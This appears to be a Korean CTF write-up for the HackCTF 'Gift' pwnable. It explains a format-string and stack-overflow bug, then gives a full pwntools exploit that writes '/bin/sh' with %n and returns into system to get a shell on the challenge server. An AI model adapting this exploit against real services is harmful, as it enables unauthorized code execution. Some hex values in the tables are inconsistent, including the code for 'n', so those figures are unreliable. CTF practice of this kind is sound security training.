tmxklab
[HackCTF/Pwnable] Gift 본문
1. 문제
nc ctf.j0n9hyun.xyz 3018
1) 문제 확인
- 어떠한 주소 값이 2개 출력되고 입력을 2번 받고 종료
2) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-84h]
alarm(0x3Cu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
printf("Hey guyssssssssss here you are: %p %p\n", &binsh, &system);
fgets(&s, 128, stdin);
printf(&s);
gets(&s);
return 0;
}
- binsh과 system변수의 주소 값이 출력
- fgets로 s변수에 128bytes까지 표준입력을 받음
- printf함수로 s변수 출력(포맷 지정자 지정이 없으므로 FSB취약점 존재)
- gets함수로 표준 입력을 받음(bof취약점 존재)
3) mitigation
2. 접근 방법
처음 printf문에서 binsh, system변수의 주소 값이 출력되는 것을 확인하였다.
이 부분에 어떠한 값들이 들어있는지 확인해보자
실제 system함수의 주소 값이 들어있으며 binsh변수는 bss영역에 존재하며 아무런 값이 들어있지 않다.
(아마도 binsh변수에 "/bin/sh"문자열을 저장하여 사용하라는 뜻인것 같다.)
* 공격 프로세스
① 첫 번째 printf에서 출력된 binsh주소 값과 system주소 값 저장
② fgets(&s, 128, stdin)에서 다음 printf(&s)에서 fsb에 사용할 문자열 저장
③ printf를 통해 fsb 실행(binsh변수에 "/bin/sh"문자열 저장)
④ gets를 통해 bof 실행(ret에 system주소 값 저장, ret + 0x8에 binsh주소 값 저장)
3. 풀이
1) "/bin/sh"문자열 아스키 코드 값 확인
str | / | b | i | n | / | s | h |
hex | 0x2f | 0x62 | 0x69 | 0x2f | 0x2f | 0x73 | 0x68 |
추가로 hex값을 바로 넣으면 문제가 발생한다.
이전에 32bit환경에서 fsb를 진행하였을 때 길이가 제한되었기 때문에 나눠서 저장하기로 한다.
2) binsh 문자열 나누기
binsh[0-1] : ["/", "b"] → 0x626f (dec : 25,135)
binsh[2-3] : ["i", "n"] → 0x16e69 (dec : 28,265)
binsh[4-5] : ["/", "s"] → 0x1732f (dec : 29,487)
binsh[6] : ["h"] → 0x20068 (dec : 104)
원래 노란색으로 표시된 hex값만 저장하면 될 것 같지만 %c 서식지정문자를 사용하여 binsh문자열에 값을 저장할 때 앞에 계산된 값까지 포함되어 값이 변하게 되므로 다시 문자열을 맞추기 위해서 사용된다.
참고)
위 값을 토대로 이제 최종적으로 binsh변수에 넣을 값은 다음과 같다.
%[bin/sh주소 값]c%?$n
binsh[0-1] : 0x622f : 25,135
binsh[2-3] : 0x16e69 : 93,801(0x16e69) - 25,135(0x622f) = 68,666
binsh[4-5] : 0x1732f : 95,023(0x1732f) - 68,666 - 25,135(0x622f) = 1,222
binsh[6] : 0x20068 : 131,176(0x20068) - 95,023(0x1732f) = 36,153
3) 확인
4) 공격 페이로드
[dummy(132bytes)] + [dummy(SFP 4bytes)] + [system addr(RET 4bytes)] + [dummy(4bytes)] + ["bin/sh"(4bytes)]
익스코드)
from pwn import *
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3018)
#p = process("./gift", aslr=False)
#gdb.attach(p, """b*0x80485e8""")
p.recvuntil("are: ")
data = p.recv(20)
binsh = int(data[0:9], 16)
system = int(data[10:20], 16)
print("[*] system addr : " + hex(system))
print("[*] binsh addr : " + hex(binsh))
payload = p32(binsh)
payload += p32(binsh+1)
payload += p32(binsh+2)
payload += p32(binsh+3)
payload += p32(binsh+4)
payload += p32(binsh+5)
payload += p32(binsh+6)
length = len(payload)
payload += "%"+str(25135-length)+"c%1$n"
payload += "%"+str(68666)+"c%3$n"
payload += "%"+str(1222)+"c%5$n"
payload += "%"+str(36153)+"c%7$n"
p.sendlineafter("\n", payload)
payload = "A"*136 + p32(system) +"A"*4 + p32(binsh)
p.sendlineafter("\n", payload)
p.interactive()
공격 수행)
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] pzshell (0) | 2020.06.11 |
---|---|
[HackCTF/Pwnable] ezshell (0) | 2020.06.11 |
[HackCTF/Pwnable] Look at me (0) | 2020.03.07 |
[HackCTF/Pwnable] Beginner_Heap (0) | 2020.03.07 |
[HackCTF/Pwnable] RTL_Core (0) | 2020.02.23 |